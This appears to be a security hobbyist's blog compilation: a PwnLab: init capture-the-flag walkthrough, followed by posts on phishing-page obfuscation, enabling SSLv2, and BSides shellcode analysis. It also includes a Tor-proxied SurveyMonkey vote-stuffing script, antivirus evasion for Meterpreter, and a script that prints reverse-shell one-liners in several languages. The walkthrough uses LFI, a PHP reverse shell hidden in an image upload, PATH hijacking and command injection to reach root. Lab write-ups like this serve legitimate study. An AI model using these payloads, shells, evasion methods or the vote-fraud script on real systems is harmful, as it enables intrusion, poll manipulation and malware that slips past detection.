PwnLab: init walk through


nmap -A -p- -T5 -oA full_nmap
Host is up (0.00029s latency).
Not shown: 65531 closed ports
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 33297/tcp status
|_ 100024 1 35432/udp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 53
| Version: .5.47-0+deb8u1
| Thread ID: 38
| Capabilities flags: 63487
| Some Capabilities: ODBCClient, Support41Auth, SupportsTransactions, Speaks41ProtocolOld, LongColumnFlag, IgnoreSigpipes, ConnectWithDatabase, LongPassword, FoundRows, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, InteractiveClient, SupportsCompression, Speaks41ProtocolNew
| Status: Autocommit
|_ Salt: L&wF8'WckolP,)*7tcuA
33297/tcp open status 1 (RPC #100024)

Apache web server and MySQL running.


Web app

Time to visit the website…


So the web app appears to be including the “login” file.

As it doesn’t have .php on the end it’s assumed the code behind it will append “.php”. Sometimes this can be bypassed using a poison null byte

For example /?page=../…/../etc/passwd%00 but this doesn’t work in this case.

Reading source code with PHP filters

It’s possible to use a PHP filter convert.base64-encode to retrieve the source of the login page which we can look through to find bugs and creds.

GET /?page=php://filter/convert.base64-encode/resource=login


So now we have the base64 of the source code we can decode it within burp Decoder.


After looking over the code it’s apparent the database settings are stored in config.php, let’s grab that file and then we can connect to the MySQL seen earlier.

GET /?page=php://filter/convert.base64-encode/resource=config

Which when decoded becomes:

<!--?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?-->


Excellent now let’s connect to the MySQL database

mysql -uroot -pH4u%QJ_H99 -h


So the passwords are just base64 encoded,

| user | pass |
| kent | Sld6WHVCSkpOeQ== | JWzXuBJJNy
| mike | U0lmZHNURW42SQ== | SIfdsTEn6I
| kane | aVN2NVltMkdSbw== | iSv5Ym2GRo

So after logging into the web app with kent / JWzXuBJJNy, it’s possible to access the upload page.

Let’s see what’s in the upload source code to see if we have any chance of bypassing it to upload a PHP shell.

GET page=php://filter/convert.base64-encode/resource=upload

Decodes to the following:

<?php session_start(); if (!isset($_SESSION['user'])) { die('You must be log in.'); } ?>

<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>

if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){
			die('Error 003');
		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\">
		} else {
			die('Error 4');

So, in a nutshell, it checks for a valid PHP session. Then checks if the file ends in .jpg”,”.jpeg”,”.gif”,”.png” and has  the correct mime type.  It then proceeds to
md5 the path and filename and append the file extension back on, finally moving the file to “/upload”.

I looked at this for awhile trying to work out how to bypass the file upload without success.

Lang Cookie LFI

I went back to reading more of the web apps source code and the index page contained the following:

<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?>

Not implemented…but nor is it uncommented. The code is including the cookie lang without any validation, so it’s vulnerable to LFI, let’s try including /etc/passwd.


Awesome that worked and kent, mike and kane have user accounts, password reuse? Now I just need something containing PHP code and it can be included to get a shell.

Getting a Shell

To get this all that’s needed is to upload an image and then after it paste in a PHP reverse shell.

I like to use the one located at /usr/share/webshells/php/php-reverse-shell.php in kali as it daemonizes.

Prior to the usage you just have to update the IP to connect back on, it’s commented with CHANGE THIS.

So I saved the pwnlab png logo and intercepted it with burp and pasted the PHP-reverse-shell.php after the image as shown below:


Now the image is uploaded with the PHP code after in upload/65106e7b5322045a610e8b83c8b9e876.png

So plug that into the cookie LFI and a shell is returned.


Now let’s see if we can get into kent, mike or kane’s user accounts.


Can’t su without a tty, no problem can use the Python TTY Shell Trick

python -c 'import pty; pty.spawn("/bin/sh")'


Hmm so mike’s password wasn’t the same but kanes is…let’s poke around in his home directory.



A SUID program to send a message to mike and using cat without a full file path which means it can be exploited by poisoning the path to load our “cat” that will just run sh.
sh is used instead of bash because sh does not drop privileges.

 echo "/bin/sh" > cat
chmod 777 cat
export PATH=.:$PATH

Now when msgmike is run we have a shell with mikes account

kane_to_mikeTo root SUID

Now let’s see what’s in mikes directory, a program that sends a message to root.


Run strings against it and the following jumps out:

Message for root: 
/bin/echo %s >> /root/messages.txt

So it’s vulnerable to command injection.

/bin/echo givemeroot;/bin/sh >> /root/messages.txt

The ; lets /bin/sh be run right after so we have ROOT 😀


Thanks for the VM Chronicoder!

Novel Phishing Methods

Most spam email you get is very poorly executed and relatively easy to spot, but some are well crafted.

For example, would you click on hxxp:// ?

It’s not immediately obvious that the domain name is

Upon visiting the phishing page it makes use of AES 256 to decrypt the phishing page content. Making it very hard to do static analysis to determine if the site is a phishing website. This is done by decrypting the page and then writing it out with document.write(). Below is an example from which is being used by the phishing page.

<!DOCTYPE html>
<script src=''></script>
<script src=''></script>
var password = 'L0ck it up saf3';
var plaintext = '<h1>awww yeaaah</h1>';
var ciphertext = Aes.Ctr.encrypt(plaintext, password, 256);
var origtext = Aes.Ctr.decrypt(ciphertext, password, 256);

The phishing page looks like :

<script src='base/js/hea2.js'></script> // AES Libary
var hea2p = 
('0123456789ABCDEFGHIJKLMNOPQRSTUVXYZabcdefghijklmnopqrstuvxyz'); //This is the password, not sure why it's a charset..
var hea2t = 'fwH2rmnTLlRpex'; // This has been snipped because it's long
var output = Aes.Ctr.decrypt(hea2t, hea2p, 256);

Here is a fiddle of the actual phishing page

openssl-1.0.1f on Ubuntu 14.04 x64 with SSLv2 enabled

Pre-requisits Packages

sudo apt-get install libssl-dev devscripts dpkg-dev cdbs debhelper dh-autoreconf libev-dev libpcre3-dev pkg-config -y


OpenSSL openssl-1.0.1f Patching

Now openssl in ubunutu is compiled without sslv2 because it’s insecure (don’t install openssl like this on a production server), but some security tools use openssl to do cipher checks such as SSLSCAN which needs it enabled in order to check for the insecure ssl version. In order to enable sslv2 the package needs to be needs to be re-configued without the nossl flag. First let’s grab the source.

apt-get source openssl

Now you have a load of files in your directory, your going to want to cd to the openssl-1.0.1f directory have contains the source code and compile script.
Next we need to edit the file in debain/rules. Remove the “no-ssl2” so it looks like the line commented below.

cd openssl-1.0.1f
nano debian/rules
#CONFARGS  = --prefix=/usr --openssldir=/usr/lib/ssl --libdir=lib/$(DEB_HOST_MULTIARCH) no-idea no-mdc2 no-rc5 no-zlib  enable-tlsext $(ARCH_CONFARGS)

Next we will add a comment and commit the change. Then re-build the package, this is going to take some time so skip down to the nmap part and download the source.
You might get some error says copyright was unable to be verified, ignore it.

dch –n 'Allow SSLv2'
dpkg-source --commit
debuild -uc -us

Now cd .. and ls and you will see all the deb packages built.
To install all of them use dpkg -i *ssl*.deb

cd ..
dpkg -i *ssl*.deb

Now let’s test out openssl!

openssl s_client -connect www.somewebiste.blah:443 -ssl2

You will get unknown hostname instead of unknown argument which means openssl is working.

Ref :

Survey Monkey has no captcha, beware

As Survey Monkey is used for surveys you want to have real results.

This post will show how easily it would be to vote fraudulently and manipulate poll results.

For this example, I will be using python with it’s mechanize module and Tor installed on Linux. You will also need Firefox with the TamperData plugin.

Firstly I have created a test Survey.


Next, I will find out the post data using TamperData.


The important data has been highlighted. The input name on the left is the name of the form element for the What is my name and the number corresponding to it on the far right is the answer I picked “billy”. The rest of the post data is hidden fields and tokens to identify the response.

With this information, it’s easy to put together a script to automate the submission of the survey. Below is the commented code for the example submission.

#!/usr/bin/env python
#SurveyMonkey needs captcha
import mechanize
import socks
import socket
#patch to use tor, code from stackcoverflow not mine
def create_connection(address, timeout=None, source_address=None):
    sock = socks.socksocket()
    return sock

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "", 9050)
socket.socket = socks.socksocket
socket.create_connection = create_connection
count = 0
while True:
    br = mechanize.Browser()# Open the broswer object
    br.addheaders = [('User-agent', ' Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31')]'') # survey to test
    #What is my name?
    #Drop down you say selection c
    #Tell me about yourself
    text = "testing 123" # text for the form
    br.submit()#submit the form
    br.response().read()#print the response
    print br.response().read()
    print "Number of votes: "+ str(count) # print number of votes

The script worked as expected and billy was the most popular name.


Solving Bsides 2013 Challenge 1

The challenge was to get a password from the excel document.

If you looked inside the Macro for the excel document you could see it was running shellcode.

So i edited the macro to write the shellcode to a file before it was run.

Private Sub ExecuteShellCode()
Dim lpMemory As Long
Dim sShellCode As String
Dim lResult As Long

sShellCode = ShellCode()
Open "C:\shellcode" For Output As #1
Write #1, ShellCode()
Close #1
lpMemory = VirtualAlloc(0&, Len(sShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
lResult = WriteProcessMemory(-1&, lpMemory, sShellCode, Len(sShellCode), 0&)
lResult = CreateThread(0&, 0&, lpMemory, 0&, 0&, 0&)
End Sub

After opening the file it has some shellcode that decodes and runs the exe thats base 64 encoded.


So I just run the Shellcode using C. As the shellocode was super long windows didn’t like it so I used GCC.

#include <stdio.h>

char shellcode[] = "\xeb\x3a\x31\xd2\x80\x3b\x2b\x75\x04\xb2\x3e\xeb\x26\x80\x3b\x2f\x75\x04\xb2\x3f\xeb\x1d\x80\x3b\x39\x77\x07\x8a\x13\x80\xea\xfc\xeb\x11\x80\x3b\x5a\x77\x07\x8a\x13\x80\xea\x41\xeb\x05\x8a\x13\x80\xea\x47\xc1\xe0\x06\x08\xd0\x43\xc3\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x31\xc9\x80\xc1\x36\x01\xcb\x89\xd9\x31\xc0\x80\x3b\x3d\x74\x25\xe8\xab\xff\xff\xff\xe8\xa6\xff\xff\xff\xe8\xa1\xff\xff\xff\xe8\x9c\xff\xff\xff\x86\xc4\xc1\xc0\x10\x86\xc4\xc1\xc8\x08\x89\x01\x83\xc1\x03\xeb\xd4"

"6FoIAADDVYnlUVZXi00Mi3UQi30U/ +9999 lines of base64 encoded lines.


int main(int argc, char **argv)
int (*func)();
func = (int (*)()) shellcode;

I then loaded it into olly and stepped through the program and kept an eye on what chars were in the registers. Until I saw “ExcelMagic” in a ECX which was being compared to my input.


Anti-Virus Evasion for Meterpreter

Anti-Virus companies are smart and can pick up all the encoders used in Metasploit. After doing some research I found three different ways  run Meterpreter shellcode which work.

1. Run shellcode using dot net

It does require .net framework 4.


2. Run shellcode using python after using pyinstaller to build the python as an executable.

The executable it creates is quite big 3mb.

The third method which is from

This generates an executable but uses the  mingw32msvc-gcc compiler which is not very widely used so not detected as much by antivirus companies. VPN connect for Kali,Backtrack [bash] has some really awesome challenges which I am working my way through.

Register if you have not done so.

The connect script on the site was pretty good but i decided to make a more portable version that checks if the config files exist then if not it downloads all the config files. Runs openVPN in a new window. Then launches the event page as the website page with all the challenges. Forks a new process so that the resolv.conf will keep on being copied then on key press the child process is killed and the old config replaced.

echo "$(tput setaf 2)Welcome to Hacking labs btr5 connect script by dwinfrey v1.1"
if ([[ -a resolv.conf.hacking-lab ]] && [[ -a client.ovpn ]] && [[ -a hlca.crt ]])
echo "All config files exist"
echo "$(tput setaf 1)Error, config files missing, Downloading config files"
echo "$(tput setaf 2)OpenVPN connection window will open"
echo "Login using your email/password"
gnome-terminal -x openvpn client.ovpn
read -p "Press Enter when successfully connected"
mv /etc/resolv.conf /etc/resolve.conf.back
cp resolv.conf.hacking-lab /etc/resolv.conf
echo "Your resolve.conf has been backed up and new config copied"
echo "Opening Events page"
firefox &

while [ 0 ]; do
	cp resolv.conf.hacking-lab /etc/resolv.conf
	sleep 60
keep_copying & pid_copy=$!
read -p "Press any enter when you wish to disconnect"
killall openvpn
kill $pid_copy
mv /etc/resolve.conf.back /etc/resolve.conf
echo "Resolv.conf restored, Goodbye"

Reverse shell One-liners all in one bash script

This small script uses the reverse shells from :

The script will print out all the different one liners for reverse shells using different programming languages.  If no port number is given, it will default to 443.

# v1 one-liner-reverse-shells
# One liners source
IP=$1 # assigning variables

# Validating input
if [ $# -eq 1 ]; then
PORT=443 # set Default port
elif [ $# -gt 2 -o $# -lt 1 ]; then
echo -e "Usage: $0 IP PORT, If no port is given default is set to 443"
exit 1

echo "$(tput setaf 1)Netcat Listener: nc -lvp $PORT"
echo "Netcat : nc -e /bin/sh $IP $PORT"
echo $'\n'$(tput setaf 4)
echo 'Perl: perl -e '\''use Socket;$i="'$IP'";$p='$PORT';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'\'''
echo $'\n'$(tput setaf 2)
echo 'Python: python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'$IP'",'$PORT'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'\'''
echo $'\n'$(tput setaf 4)
echo 'PHP: php -r '\''$sock=fsockopen("'$IP'",'$PORT');exec("/bin/sh -i <&3 >&3 2>&3");'\'''
echo $'\n'$(tput setaf 1)
echo 'Ruby: ruby -rsocket -e'\''"'$IP'",'$PORT').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'\'''
echo $'\n'$(tput setaf 7)
echo 'Bash: bash -i >& /dev/tcp/'$IP'/'$PORT' 0>&1'

Comments and suggestions welcome 🙂



Penetration Testing with BackTrack review / OSCP

I really enjoyed the course. The labs have 50 computers, each with a different ways in. The main reason for choosing Penetrating with backtrack over CEH is that CEH is all theory and they can get really boring and I learn much better by doing than reading a text book and watching a few videos.

The course is also good because it gives you around 40% of the material and then the other 60% is all down to you to research and find out. This may seem like a bad point but really it’s the courses big benefit because it makes you do your own research and solve the problems by yourself.

I managed to get into 46 of 50 lab machines which I was pleased about. The course has also given me confidence to not be afraid of failing…you get used to failing the in the labs and you just have to keep trying.
I made the error of downloading and running an exploit without using my own shellcode which rm’d my hard drive..goodbye lab notes. So I had to restart from nothing again after 30days. This was in some ways good as it meant I had a re-fresher on all modules. After that I decided to keep all my notes inside windows using keepnote a backup of my VM daily.

My favourite part of the course was the exam, 24hrs of pressured hacking, I managed to get 2hrs sleep, eat three pizzas and pass the exam. I cannot go into any detail about the exam apart from you will enjoy it if you enjoyed the labs 😀